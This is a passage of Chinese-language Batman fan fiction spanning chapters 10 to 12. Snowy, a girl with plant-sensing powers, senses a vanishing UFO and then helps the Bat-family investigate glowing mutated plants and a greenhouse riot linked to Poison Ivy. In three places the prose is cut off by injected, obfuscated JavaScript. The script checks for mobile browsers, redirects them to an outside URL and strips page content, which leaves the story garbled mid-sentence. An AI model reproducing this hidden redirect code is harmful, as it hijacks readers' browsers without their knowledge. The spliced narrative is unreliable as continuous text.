她看向主控台屏幕。那个深紫色的脉冲标记在地图上匀速移动,像一颗沉默的流星,划过代表纽约的密集光点群边缘,然后继续向着代表哥谭的、相对暗淡一些的光点群方向前进。 纽约的光点在她眼中仿佛活了过来。她记忆中破碎的画面闪现:熟悉的公寓楼轮廓,街角的便利店,公园的长椅,主人模糊的面容……然后是被白光和剧痛撕裂的森林,高耸的韦恩大厦。 为什么她会从纽约来到哥谭?这个不明飞行物,会和她的“异常”有关吗?还是纯粹的巧合? 她不知道。但一种莫名的、强烈的悸动抓住了她。她感觉到自己的心跳与屏幕上那个脉冲标记的节奏产生了某种奇异的同步感,很轻微,但确实存在。仿佛那个未知物体散发出的“能量特征”,即使隔着遥远的距离和重重屏障,依然与她那被自然之力改造过的身体产生了微弱的共鸣。 这感觉让她既兴奋又恐惧。 达米安紧紧盯着屏幕,手指在键盘上飞舞,调取更多分析数据。“能量读数持续上升,但释放模式稳定,非攻击性前兆。结构扫描受阻,无法穿透外层屏障。尺寸估算:长度约十五米,宽度……不规则。” “继续。”布鲁斯的声音依旧平稳。 标记越过了纽约市上空,进入纽约州与新泽西州交界的上空,方向略微调整,似乎更加明确地指向了哥谭所在的位置。 “轨迹修正。新预测:目标可能直接进入哥谭市上空,或在其邻近海湾区域降落/悬停。”达米安的声音带着紧绷。 “夜翼,位置。” “我在北郊高速上空,目视范围内尚未发现目标。云层很低。” “保持隐蔽。罗宾,启动城市防空伪装网络一级干扰,延缓可能的地面观测。通知戈登局长,准备应对不明飞行物引发的公众恐慌,但不要提及具体细节。” “启动干扰网络。通知已发送。” 斯诺伊看到屏幕上,代表哥谭城市区域的网格状图层亮起了一层极其淡薄的、不断变换的光晕,这大概就是“防空伪装网络”。同时,地图上那个紫色标记周围出现了细微的数据扰动,但标记本身依旧稳定地朝着哥谭移动。 越来越近了。 斯诺伊能感觉到那股共鸣在增强,像是一种极其低沉、几乎听不见的嗡鸣,从她的骨髓深处传来。她的皮肤微微发麻,呼吸不由自主地加快。这感觉并不痛苦,但充满了难以言喻的压迫感和……熟悉感?不,不是熟悉,是某种同源异质的吸引。 那个飞行物,和她一样,不属于这里。不属于常规的范畴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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生命反应?斯诺伊的心跳更快了。共鸣感越来越强,她甚至能“感觉”到那物体内部,有一种沉睡的、浩瀚的、但又极度内敛的意志存在。不是敌意,也不是善意,更像是一种……纯粹的“存在”,正在观察,或者等待。 突然,那物体表面的光纹亮度骤增,脉冲频率加快。 “能量波动!”达米安警告。 所有监控画面瞬间被强光淹没,变成一片炫白。刺耳的干扰声从通讯频道和洞穴的扬声器里爆发出来,连机器的嗡鸣都被掩盖。 斯诺伊忍不住捂住了耳朵,但那强光和噪音仿佛直接作用于她的神经,让她眼前发黑,一阵剧烈的眩晕和恶心涌上心头。她腿一软,跪倒在地,干呕起来。 强光和噪音持续了大约五秒,然后戛然而止。 监控画面迅速恢复,但变得极不稳定,满是雪花和扭曲的线条。卫星画面显示,海面上空,那个物体消失了。不是飞走,而是像被橡皮擦掉一样,瞬间不见了踪影,连一点能量残留的痕迹都没有留下,仿佛从未存在过。 只有翻涌的海浪和淅沥的雨声,证明刚才的一切不是幻觉。 “目标消失。”达米安的声音带着难以置信,“所有传感器失去信号。能量读数归零。空间扭曲读数平复。” “夜翼,现场情况?”布鲁斯问,他的声音依旧稳定,但斯诺伊能听出一丝极细微的紧绷。 “什么都没有。海面平静,除了雨什么也没有。我检查了扫描仪,没有残留辐射或异常空间读数。它就这么……没了。”迪克汇报。 沉默。蝙蝠洞里只有设备恢复稳定的嗡嗡声和斯诺伊压抑的干呕声。 “调取消失前最后一帧所有传感器的原始数据,包括能量、光谱、空间、重力……所有。”布鲁斯下令,“联系神盾局,以非正式渠道询问他们是否监测到相同目标及后续分析。启动城市所有异常事件监测网络,提高警戒级别,但对外保持静默。” “明白。”达米安开始迅速操作。 斯诺伊慢慢从地上爬起来,擦掉嘴角的生理性泪水,脸色苍白。刚才的冲击对她的影响比对其他人更大。那种强烈的共鸣和随之而来的感官过载,让她几乎虚脱。她感觉到能量在飞速流失,比使用能力时还要快。她踉跄着走到自己的床边,从收纳盒里抓出能量棒,颤抖着撕开包装,塞进嘴里,强迫自己吞咽。 甜腻的味道和热量流入胃部,稍微缓解了那股掏空般的虚弱感,但精神上的震撼和残留的感官异常(耳朵里还有细微的鸣响,眼前似乎还有光斑)依然强烈。 那个东西……是什么?它从哪里来?为什么出现又消失?最重要的是,它为什么和自己产生了共鸣? 她看向主控台。布鲁斯已经返回(他一定用了某种快速通道),正站在达米安旁边,两人一起审视着那些复杂难懂的数据流。迪克也很快从通道返回,脱下湿漉漉的外套,加入了分析。 他们的表情都异常严肃。这件事超出了常规的哥谭反派或犯罪范畴,带着明显的地外或维度外特征,而且处理得干净利落,不留痕迹。这代表了某种他们尚未了解的力量或技术,进入了他们的视线范围,然后主动退场,只留下一个巨大的谜团。 斯诺伊蜷缩在床上,裹紧毯子,听着他们压低声音的讨论。 “……能量释放模式与任何已知外星文明或地球超科技不符。” “神盾局回复含糊,承认监测到‘异常大气现象’,正在分析,无进一步信息分享。” “公众层面呢?” “有几个港口工人和夜班司机报告看到了奇怪闪光,但雾气大,说法不一。戈登已经按‘罕见的球状闪电或光学现象’处理了初步询问。” “继续分析数据。加密存档,标记为‘X-事件-不明飞行物’。提升蝙蝠洞及庄园外围防御等级至二级。” 命令一条条下达。洞穴里的气氛比码头区爆炸后更加凝重。这不是一场可以搏斗、可以解决的危机,而是一个征兆,一个提醒——哥谭,乃至这个世界,所面对的黑暗与未知,远比日常的犯罪与疯狂更为深邃和广阔。 斯诺伊躺在那里,蓝眼睛望着准备区那扇高高的窗户。雨还在下,玻璃上水痕模糊。外面的世界,那个她既渴望又恐惧的世界,刚刚向她,也向蝙蝠侠们,展示了其冰山之下难以想象的一角。 她来到哥谭并非偶然。那个不明飞行物的出现也绝非偶然。两者之间是否有关联?她不知道。但她知道,自己与这个城市,与这些守护者,与那些潜伏在更宏大阴影中的未知存在的联系,已经被一根看不见的线,更加牢固地绑在了一起。 11. 第十一章 不明飞行物事件——后来在蝙蝠洞加密档案中被正式编号为 「X-接触」 ——像一颗投入深潭的无声石子。没有激起公开的浪花,却在知情者心中留下了难以平复的涟漪与深沉的回响。 接下来的两周,哥谭表面依旧按照它混乱而顽固的节奏运行:抢劫、纵火、帮派摩擦、疯子们的即兴表演。但蝙蝠家族的行动模式发生了细微而明确的调整。夜巡路线覆盖了更多港口和沿海区域,尤其是 「X-接触」发生地附近。传感器网络升级,增加了对特定能量频率和空间扰动的监测。布鲁斯投入了大量时间分析那些残缺的数据,试图从干扰和噪波中还原出哪怕一丝有用的信息。他与神盾局的非正式联络频率增加,虽然双方都保持着情报交换的谨慎与克制。 达米安的任务列表中多了几项长期监测项目,追踪全球范围内任何可能与 「X-接触」能量特征相似的异常报告。迪克则更频繁地游走在哥谭的灰色地带,从码头工人、走私贩、甚至某些对天空异常感兴趣的神秘学爱好者那里收集零碎传闻。 斯诺伊能感觉到洞穴里这股无声的紧绷。空气中弥漫着一种蓄势待发的专注,连阿尔弗雷德冲泡咖啡的时机都似乎经过更精确的计算。她的活动范围没有被缩减,反而因为需要配合新的基础测试(主要是检测她对特定能量频率或空间波动的生理反应)而显得更加规律。 那些测试很枯燥。她需要坐在一个特制的椅子上,戴着连接各种传感器的头盔,面对屏幕观看快速闪动的抽象图案、聆听不同频率的声音、甚至暴露在极其微弱、严格控制的能量场中。布鲁斯和迪克(有时是达米安)会记录她的心率、脑波、皮肤电反应、瞳孔变化等数据。 斯诺伊不明白这些测试的具体目的,但她猜测与那个飞行物有关。她配合,但内心保持警惕。她隐瞒了自己当时感受到的强烈共鸣和后续不适,只是表现出了与其他人相似的、对强光和噪音的生理性厌恶。她不能让布鲁斯知道她与那东西之间有更深的联系,那会带来无法预料的后果。 测试结果正如她所料,没有显示出明确的异常。她对特定频率的声音和光有轻微反应,但都在“正常人类个体差异”范围内。对模拟能量场(基于 「X-接触」数据还原的极其稀薄的版本)的反应接近于无。报告结论是:无明显特殊感应,或感应阈值远高于现有模拟强度。 布鲁斯接受了这个结论,但并未完全排除可能性。斯诺伊的“异常”本身难以量化,也许她对真实事件的反应与对模拟信号的反应截然不同。她继续被观察,但关注点似乎从“她可能与事件直接相关”转向了“她作为高敏感度生命体,是否能在未来类似事件中作为早期预警指标”。 这对斯诺伊来说是相对理想的结果。她依旧是谜,但威胁性评估没有因 「X-接触」而飙升。 她的日常生活继续。语言能力在迪克的耐心教导下持续但缓慢地进步,她现在能说一些简单的短句,比如“我饿了”、“我想去窗户那里”、“那是鸟”。发音依旧带着点含糊的异质感,但能听懂。她与达米安维持着那种基于实用信息的有限交流。与阿尔弗雷德的互动最为稳定,他提供物资、清理、偶尔一句听不出情绪的评论或建议。 窗外的世界随着季节更迭缓慢变化。哥谭的春天短暂而阴郁,树木抽出稀稀拉拉的嫩芽,很快又被工业尘埃蒙上一层灰。雨水依旧频繁,但偶尔会有阳光穿透云层,在准备区的地板上投下短暂的光斑。斯诺伊珍惜这些时刻,她会坐在光斑里,感受那一点点微不足道的暖意,想象着森林里的阳光。 她的秘密能力训练也在这平静(相对而言)的时期稳步进行。那盆观叶植物成了她固定的练习对象。通过日复一日极其微弱的能量倾注(更多是意念上的引导和共鸣,而非实质的能量输送),那几株濒死的植物竟然真的显现出了顽强的生命力。干裂的土壤因为她的定期少量浇水(从饮水槽偷带一点)和某种难以言喻的“鼓励”而保持了些微湿润。枯黄的叶片没有完全恢复鲜绿,但停止了枯萎,边缘卷曲的部分舒展开来,透出了一种黯淡但确实存在的绿意。甚至有一株最小、最弱的,在靠近土壤的茎部,冒出了一个米粒大小的、几乎看不见的新芽。 这种变化极其缓慢,如果不是斯诺伊每天专注观察,几乎无法察觉。但她知道,这是她能力切实存在的证明,是她能够以某种方式与生命(即便是植物)沟通、施加正面影响的证据。这给了她一种隐秘的成就感和掌控感。 她开始尝试将这种微弱的感知扩展到更远的范围。坐在窗户下,她会闭上眼睛,努力去“感觉”庄园花园里的植物。距离和建筑阻隔让感知变得极其模糊,像隔着厚厚的毛玻璃看移动的影子。但她偶尔能捕捉到一些碎片:新翻泥土的气息,蚯蚓在土壤下蠕动的微颤,一朵早开的花苞在雨中闭合的“意向”。 这些感知碎片毫无实际用处,但锻炼了她能力的精细度和范围。每次尝试后,她依然会感到轻微的疲惫和饥饿,需要额外补充一点能量。阿尔弗雷德似乎注意到了她食量的微小增长,但没有多问,只是默默调整了配给。 平静在一天下午被打破。迪克带着一个消息回到蝙蝠洞,他的表情混合着困惑和一丝兴奋。 “你们得听听这个,”他对布鲁斯和达米安说,斯诺伊也在准备区,假装玩拼图,实则竖着耳朵。“我线人说,昨晚下东区有几个流浪汉和夜班保安,报告说看到了‘会走路的藤蔓’和‘发光的蘑菇’,就在老纺织厂后面的废弃铁路桥墩附近。” 达米安嗤了一声。“毒品致幻或低劣的恶作剧。” “通常我会同意,”迪克说,“但不止一个人这么说,而且描述有细节重合。藤蔓‘像有意识一样移动,避开障碍物’,蘑菇‘在潮湿的砖缝里发光,摸上去是温的’。还有人说闻到了‘浓烈的花香,甜得发腻’。” 布鲁斯抬起眼。“地点。” “老纺织厂区,靠近绿色废弃带,那里植被确实比较茂密,但都是普通杂草和苔藓。”迪克调出地图,“关键是,这个区域,上个月市政规划报告提到过,土壤和地下水检测出轻微的未知有机化合物污染,来源不明,但含量极低,被认为无立即危害。” “未知有机化合物……”布鲁斯沉思,“联系植物异常。” “还有,”迪克压低声音,“我查了那个区域过去一年的异常事件记录,非常干净。除了几起普通的流浪汉斗殴和小偷小摸,什么都没有。但在 「X-接触」发生后的第三天晚上,那个区域的一个老旧气象监测站,记录到了一次持续时间约三秒的、极其微弱的异常能量脉冲,频率……与 「X-接触」残留数据中的某个次要频段有百分之十五的相似性。当时认为是设备故障或大气干扰,没有跟进。” 洞穴里安静了几秒。 “巧合?”达米安问。 “哥谭不相信巧合。”布鲁斯站起身,“准备侦查。夜翼,罗宾,我们今晚去老纺织厂区。非对抗性侦查,收集样本,评估情况。如果确实与植物异常有关,考虑潜在关联方。” 他的目光扫过准备区,落在斯诺伊身上,停顿了一下。“她也去。” 斯诺伊手里的拼图块掉在了地上。她抬起头,蓝眼睛里满是惊讶。 “她的能力对生命状态敏感,”布鲁斯解释,语气平淡,“可能有助于辨别普通植物与异常植物,或者感知潜在威胁。迪克,你负责看护她。全程紧跟,不得脱离视线。” 迪克点头。“明白。” 达米安看起来想反对,但最终只是抿紧了嘴唇,开始检查装备。 斯诺伊的心脏加速跳动。不是害怕,而是一种混杂着紧张、好奇和隐约兴奋的情绪。她又要出去了。这次不是救援动物,而是侦查。参与蝙蝠侠的任务,哪怕只是边缘角色。 阿尔弗雷德默默为她准备了一套更合身、带有夜间伪装色和基础防护垫的深色便服,一双结实的软底鞋,还有一个可以挂在脖子上、内含定位器和紧急呼叫按钮的小装置。 “请务必听从格雷森少爷的指令,斯诺伊小姐。”阿尔弗雷德一边帮她整理衣领,一边平静地说,“外面不比这里,任何疏忽都可能带来危险。” 斯诺伊看着他严肃的眼睛,点了点头。她明白。 夜幕降临后,四人乘坐蝙蝠车(这次是更小型、更隐蔽的型号)离开了蝙蝠洞。斯诺伊和迪克坐在后座,达米安在前排辅助导航。布鲁斯驾驶,沉默如岩石。 车子在哥谭错综复杂的背街小巷和地下通道中穿行,最终停在一个堆满建筑废料的荒地上。远处,老纺织厂残破的轮廓在夜色中像巨兽的骨骸。 “步行前进。保持通讯静默,使用手势。”布鲁斯下令。 四人下车,融入阴影。布鲁斯和达米安如同幽灵般无声前进,迪克牵着斯诺伊的手,他的步伐稳定而轻快,引导着她避开瓦砾和坑洼。斯诺伊努力跟上,她的夜视能力很好,但人类形态限制了她在复杂地形上的敏捷度。 空气中弥漫着潮湿的霉味、铁锈味和垃圾发酵的气味。但渐渐的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081298|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯诺伊确实嗅到了一丝不同寻常的气味——一种浓郁、甜美、甚至有些腻人的花香,混杂在污浊的空气里,显得格外突兀。 她拉了拉迪克的手,指了指气味传来的方向,鼻翼微微翕动。 迪克点点头,向布鲁斯打了个手势。布鲁斯调整了方向,朝着花香来源移动。 他们穿过一片半坍塌的围墙,进入了一个曾经是工厂庭院的空间。这里杂草丛生,但眼前的景象让所有人停下了脚步。 庭院中央,一片普通的蒲公英和狗尾草丛中,赫然生长着一簇簇散发着柔和莹绿色光芒的蘑菇。它们大小不一,最大的有手掌那么大,菌盖饱满,光晕从菌褶中透出,照亮了周围一小片区域。光线并不刺眼,带着一种生物性的、脉动的质感。 而在倒塌的砖石墙壁上,几条粗壮的、看起来像是常春藤的藤蔓,正以极其缓慢但确实可见的速度蜿蜒移动。它们避开尖锐的碎石,沿着墙壁的缝隙攀爬,藤蔓表面覆盖着一层极其细微的、同样散发微光的绒毛。 “确认异常。”布鲁斯的声音在通讯频道里响起,低沉而冷静。 达米安已经拿出取样工具和小型扫描仪,开始谨慎地接近发光蘑菇。扫描仪发出轻微的嘀嗒声。“检测到微弱生物电信号和未知有机化合物挥发。辐射水平安全。生命体征……类似真菌,但能量代谢模式异常。” 布鲁斯则观察着移动的藤蔓。“运动模式显示基础趋光性和避障反应,但协调性超出普通植物。未检测到神经系统结构。” 迪克护着斯诺伊,站在稍远一点的地方。“斯诺伊,你能感觉到什么吗?用你的方式。” 斯诺伊点点头,闭上眼睛,尝试去感知那些发光的蘑菇和移动的藤蔓。 感觉比面对动物或庄园植物时更……奇特。蘑菇的生命波动非常微弱、分散,像无数细小的光点,带着一种惰性的、缓慢生长的满足感。藤蔓的波动则更强一些,更集中,透露出一种探索环境的、温和的好奇意图,没有攻击性,只有单纯的生命扩张本能。 但在这片异常植物的生命波动之下,斯诺伊还感觉到了别的东西。一种非常非常稀薄、几乎消散的……“余味”。类似她在 「X-接触」时感觉到的浩瀚意志留下的微末回响,但性质更加贴近自然,更像是某种高浓度生命能量散逸后,与当地植物融合产生的异变。 她睁开眼睛,指着那些植物,对迪克说:“它们……高兴。生长。没有坏。”然后她皱了皱眉,努力寻找词汇表达那种“余味”,“有……别的味道。很淡。像……那天晚上的光。” 迪克立刻明白了,他看向布鲁斯,转述了斯诺伊的话。 布鲁斯和达米安交换了一个眼神。 “能量残留影响本地植物变异,”布鲁斯总结,“非主动攻击性,但需要评估扩散风险和长期影响。采集样本,包括土壤、空气、植物组织。记录坐标。后续持续监测。” 达米安迅速而专业地完成了样本采集。过程中,那些藤蔓似乎察觉到他们的存在,微微改变了生长方向,避开了达米安的手,但并没有表现出敌意或防御姿态。 任务完成得干净利落。没有冲突,没有意外。 返回蝙蝠车的路上,斯诺伊的心渐渐平静下来。这次外出虽然短暂,但意义不同。她不仅参与了任务,还用自己独特的方式提供了信息。她不再仅仅是需要被保护和观察的对象,而是一个可以贡献价值的成员,哪怕价值微小。 回到蝙蝠洞,样本被立刻送入实验室分析。初步结果证实了斯诺伊的感知:植物发生了良性变异,富含某种未知的、促进生长并产生微弱生物光的化合物,与 「X-接触」能量残留中的某个组分有关联。变异似乎稳定,无传染性或毒性,但需要长期观察。 布鲁斯将此次事件归档为 「X-接触衍生事件:植物良性变异(暂定)」,风险等级低,但作为 「X-接触」后续影响的第一个实证案例,具有重要研究价值。 斯诺伊洗完澡,换上干净衣服,坐在自己床上吃阿尔弗雷德准备的夜宵时,迪克走了过来,揉了揉她的头发。 “做得好,小家伙。你的‘鼻子’很灵。” 斯诺伊抬头看他,嘴角微微弯了一下,这是她很少做出的、类似微笑的表情。 达米安经过时,瞥了她一眼,没说什么,但眼神里似乎少了些之前的审视,多了一点……姑且算是认可。 布鲁斯依旧在实验室分析数据,但斯诺伊知道,他对她的评估又有了新的参数。 12. 第十二章 植物变异事件被严格控制在蝙蝠洞内部知情范围。样本分析在布鲁斯的实验室持续进行,初步排除了直接危险性,但变异机制和能量残留的长效影响仍是未解之谜。布鲁斯在哥谭地图上标注了那个废弃工厂区,启动了低强度环境监测,定期回访观察植物变化。迪克则动用他的情报网,在更广泛的范围内寻找类似现象的报告,暂时一无所获。 对斯诺伊而言,这次任务的直接影响是她的“活动权限”得到了实质性提升。她不再被限制在蝙蝠洞和附属准备区,在至少一名家族成员(通常是迪克或阿尔弗雷德)的陪同下,她可以有限度地进入韦恩庄园的地面建筑部分——当然,仅限于少数几个房间和通往花园的走廊。 第一次踏上庄园主楼光洁的大理石地板,斯诺伊感到一阵轻微的眩晕。空间太高,太开阔,装饰繁复而沉重,空气中混合着木蜡、旧书、昂贵织品和鲜花的复杂气味。这与蝙蝠洞的冰冷机械感或准备区的粗粝实用感截然不同,是一种属于“古老财富与秩序”的气息,带着距离感和压迫性。 阿尔弗雷德领着她,步伐不疾不徐,像一位导游,又像一位沉默的监护人。“这是前厅……这是画廊……老爷很少使用这边的起居室……餐厅在这边,早餐通常在日光室……” 斯诺伊安静地跟着,蓝眼睛仔细地观察着一切。巨大的肖像画上,面容严肃的男女注视着她;水晶吊灯折射着从高窗透入的稀薄天光;厚重的丝绒窗帘垂在落地窗旁。她看到了更多窗户,看到了外面的草坪、树木和远处哥谭天际线的剪影。自由仿佛触手可及,但无处不在的监控摄像头和阿尔弗雷德平静的注视提醒着她界限所在。 她最喜欢的地方是日光室。那是一间朝东的玻璃房,里面摆放着许多盆栽植物,藤蔓攀爬在格架上,阳光(当哥谭有阳光时)能毫无阻碍地倾泻进来,温暖而明亮。这里的气味让她想起森林,想起生命。阿尔弗雷德允许她每天在这里待上一段时间,只要她不试图触碰那些可能带刺或娇贵的植物。 斯诺伊遵守规则。她会坐在一张铺着软垫的藤椅上,静静看着那些植物,感受阳光洒在皮肤上的暖意,呼吸着叶片和土壤散发的气息。她偶尔会闭上眼睛,尝试感知这些健康、受到精心照料的植物与废弃工厂那些变异植物之间的区别。这里的植物生命波动平稳、满足,带着被悉心呵护的安逸感。而工厂植物的波动则更加……活跃,带着一种自发的、探索性的能量,虽然微弱。 她在这里进行了更大胆的尝试。日光室角落有一盆看起来状态不佳的蕨类植物,叶片有些发黄,边缘焦枯,可能是光照或湿度不合适。阿尔弗雷德定期照料,但它恢复得很慢。 斯诺伊趁着阿尔弗雷德暂时离开去处理其他事务时,悄悄走到那盆蕨类旁边。她伸出手,指尖悬在焦黄的叶片上方,没有触碰。她集中精神,像对待那盆观叶植物一样,尝试去感知它的不适,去“理解”它需要什么——是更多的水?更少的光?还是土壤里的某种养分? 感觉比面对变异植物或濒死植物更困难。健康植物的需求是细微而复杂的。她只能模糊地感觉到一种“干渴”和“灼热”交织的不适感。她想象着水分滋润根系、柔和的光线替代强烈直射的画面,将这种微弱的意念传递过去。 没有肉眼可见的变化。但当她连续几天进行这种短暂的“意念交流”后,她注意到那盆蕨类最严重的焦枯停止了蔓延,一片新长出的小叶芽呈现出相对健康的绿色。阿尔弗雷德某天修剪枯叶时,似乎也注意到了这一点,灰蓝色的眼睛里闪过一丝若有所思,但他什么也没说,只是调整了这盆植物的摆放位置,让它接受了更柔和的散射光。 斯诺伊将这视为又一次小小的成功。她的能力在进步,在变得更精细。虽然依旧微弱,消耗也依然存在,但她开始学习如何更有效地“倾听”和“回应”不同生命的需求。 语言学习也在日光室有了新的进展。迪克有时会在这里教她,指着不同的植物说出名字:“蕨类”、“兰花”、“龟背竹”。他带来一些简单的绘本,上面有动物、自然景观和日常物品的图画。斯诺伊的学习速度依旧不算快,但词汇量在稳步增加,也开始能理解一些基本的语法结构,组成更完整的句子,比如“阳光很暖和”、“那朵花是红色的”。 她开始问问题。指着窗外飞过的鸟:“那是什么鸟?”看到阿尔弗雷德修剪枝叶:“为什么要剪掉?”这些问题简单,却标志着她从被动接收信息向主动探索世界转变。迪克总是耐心回答,阿尔弗雷德则会给出更务实、有时带着英式幽默的回答。 庄园的生活平静,甚至可以说有些沉闷。但斯诺伊知道,这只是表象。夜晚降临后,布鲁斯、迪克、达米安会化身为哥谭的影子,去面对这个城市真正的疯狂与危险。她通过屏幕上的光点和他们归来时的状态,感知着外界的波澜。 平静在一周后的一个傍晚被打破。 当时斯诺伊刚结束日光室的时间,在阿尔弗雷德的陪伴下返回地下通道。突然,整个庄园的灯光剧烈闪烁了一下,随即恢复正常。几乎同时,蝙蝠洞的主通讯频道传来一阵急促、带着干扰的呼叫。 “蝙蝠侠!这里是神谕!紧急情况!哥谭植物园,温室区,发生大规模植物异常暴动!安保系统失灵,有工作人员被困!能量读数……与你们上周报告的变异植物特征部分吻合,但强度高出几个数量级!正在扩散!” 神谕(芭芭拉·戈登)的声音在洞穴里回荡。布鲁斯和迪克刚结束夜巡准备,达米安正在装备区。所有人瞬间进入戒备状态。 “具体坐标,受困人员数量,暴动植物类型和范围。”布鲁斯的声音冷静如常,但动作快如闪电,已经开始重新着装。 “坐标已发送。初步热成像显示至少三名工作人员被困在中央热带雨林温室的控制室。暴动植物主要是大型藤蔓类、食虫植物和一些原本无害的观赏花卉,它们……它们在主动攻击,破坏玻璃,缠绕设备。能量读数仍在攀升,干扰强烈。” “现场有异常天气或能量源报告吗?” “没有。植物园其他区域正常,只有温室区。能量爆发似乎是突然发生的,源头不明。” 布鲁斯已经穿好装甲。“夜翼,罗宾,准备出发。神谕,协调警方疏散周边,设置封锁线,但不要进入温室区。通知消防和急救待命。” “明白。” 迪克和达米安迅速完成装备检查。 布鲁斯准备进入蝙蝠车时,脚步顿了一下。他的目光扫过站在通道口、被阿尔弗雷德护着的斯诺伊。 “她的能力对植物异常敏感。”布鲁斯快速说道,像是在陈述一个事实,又像在做一个艰难的决定。“温室情况不明,能量特征与变异植物相关。她可能提前感知威胁或找到源头。风险很高,但她或许有用。” 迪克立刻明白了布鲁斯的意思。“我负责她。全程看护,绝不让她离开我视线。” 达米安皱了皱眉,但没有反对。时间紧迫。 “斯诺伊,”布鲁斯看向她,“我们要去一个有很多危险植物的地方救人。你愿意帮忙吗?用你的方式去感觉那些植物,告诉我们哪里最危险,或者哪里可能有我们需要救的人。但你必须严格遵守迪克的指令,不能擅自行动。” 斯诺伊的心脏猛地收紧。植物园?大规模植物暴动?听起来比废弃工厂严重得多。危险。但她从布鲁斯的语气中听出了紧急,从迪克和达米安迅速的动作中感到了事态严重。 她想起了废弃工厂那些温和发光的蘑菇和藤蔓。但神谕说的是“攻击”、“暴动”。发生了什么? 她看着布鲁斯面具后深不可测的眼睛,又看了看迪克。然后,她用力点了点头。 “好。”布鲁斯不再多说,“阿尔弗雷德,给她准备防护。” 阿尔弗雷德以惊人的效率拿来一套特制的、带有基础防割和绝缘层的小号防护服,帮助斯诺伊快速穿上,又给她戴上一个带有通讯器和过滤装置的轻型头盔。 “愿好运与您同在,斯诺伊小姐。”阿尔弗雷德的声音一如既往的平稳,但斯诺伊能听出里面的关切。 一行人迅速进入蝙蝠车,引擎发出低吼,冲入夜色。 车上,迪克简要向斯诺伊说明了情况。哥谭植物园是市内重要的科研和公共设施,温室区尤其庞大复杂,模拟多种生态环境,收藏了众多稀有植物。如果那些植物都发生了危险变异并开始攻击…… “到了现场,你跟紧我,”迪克叮嘱,“除非我让你用能力,否则不要主动尝试。如果感到任何不舒服,比如头晕、恶心,或者‘感觉’到特别强烈的恶意,立刻告诉我。” 斯诺伊点头,小手紧紧抓住座椅边缘。 蝙蝠车在植物园外围紧急制动。警方已经拉起了警戒线,警灯闪烁。戈登局长亲自在现场,看到蝙蝠车,立刻走了过来。 “情况不妙,蝙蝠侠,”戈登脸色严峻,“里面完全失去了联系。监控最后画面显示,藤蔓像蛇一样破土而出,打破玻璃,缠绕一切移动的东西。有几株巨大的捕蝇草甚至……吞掉了小型清洁机器人。我们尝试用声波驱散和温和麻醉剂,完全无效,反而激怒了它们。能量读数高得吓人。” 布鲁斯点点头。“我们进去。保持外围封锁。” 他、迪克、达米安和斯诺伊穿过警戒线,朝着温室区的主入口走去。远远地,就能看到那座巨大的玻璃建筑在夜色中闪烁着不正常的光晕——不是灯光,而是植物本身散发的、杂乱的、带着攻击性的生物荧光,绿、紫、红交织,诡异而危险。 空气中飘来浓烈到令人作呕的甜腻花香,混合着植物汁液和什么东西烧焦的气味。 靠近入口,景象更加骇人。粗壮的藤蔓如同活化的巨蟒,缠绕在钢结构上,勒得金属发出呻吟。原本美丽的兰花花瓣变得锋利如刀,随着藤蔓的挥舞切割空气。地面覆盖着厚厚一层滑腻的、不断蠕动的苔藓类植物。巨大的猪笼草和捕蝇草张开狰狞的口器,分泌着腐蚀性黏液。 植物,原本静止、给予氧气的生命,此刻变成了狂暴的、充满敌意的陷阱。 斯诺伊感到一阵强烈的眩晕和恶心。不仅仅是因为眼前的景象,更是因为她“感觉”到了。无数狂暴、痛苦、充满攻击意图的生命波动,像沸腾的泥潭,从温室内部汹涌而出,冲击着她的感知。与废弃工厂那些温和好奇的变异截然不同,这里的植物充满了扭曲的愤怒和破坏欲。 “感觉到什么?”布鲁斯问,声音透过通讯器传来。 斯诺伊忍住不适,努力集中精神,试图分辨这混乱波动中的细节。她指向温室深处,偏左的方向。“那里……最乱,最生气。还有……人在里面。三个。很害怕。”她又指向另一个方向,靠近温室顶部结构,“那里……有不一样的味道。冷冷的。不像是植物。” “不一样的源头?”迪克问。 斯诺伊不确定地点头。“可能。” “罗宾,你去侦查那个‘不一样的味道’区域,注意安全,优先识别源头。”布鲁斯下令,“夜翼,你和我从主通道突破,前往受困人员位置。斯诺伊,跟紧夜翼,持续感知周围植物动向,提前预警。” “明白。”达米安身影一晃,利用钩爪和敏捷身手,从侧面攀上温室外部结构,朝着斯诺伊指示的方向迂回前进。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“温室顶部的环境调控中枢被非法接入了一个外部设备。正在释放一种复合化学-生物信号素,混合了植物生长激素、信息素干扰剂和……一种我从没见过的有机催化酶。就是这个东西,在刺激和扭曲植物的生长与行为模式,引发攻击性。设备有独立电源和防护,我正在尝试拆除。” “能识别设备来源吗?” “工艺粗糙,但使用的化合物……很先进。残留标签有部分损毁,但能看到一个模糊的符号。”达米安停顿了一下,“一个被藤蔓缠绕的骷髅。毒藤女。” 洞穴家族成员对这个名字都不陌生。帕米拉·艾斯利,毒藤女,植物学家,因事故获得操控植物的能力,极端环保主义者,视人类为地球的病毒,时常在哥谭制造以植物为主题的混乱。 “但她最近很安静,”迪克一边抵挡藤蔓一边说,“没听说她有越狱或新的计划。” “也许这不是她的直接行动,”布鲁斯分析,“可能是有人盗用了她的技术或配方,或者……她有了新的盟友或模仿者。” “设备拆除成功,”达米安汇报,“信号素释放停止。但植物已经受到刺激,不会立刻平静下来。” 果然,温室内的植物攻击并未停止,但似乎失去了某种统一的“指挥”,变得稍微杂乱了一些。 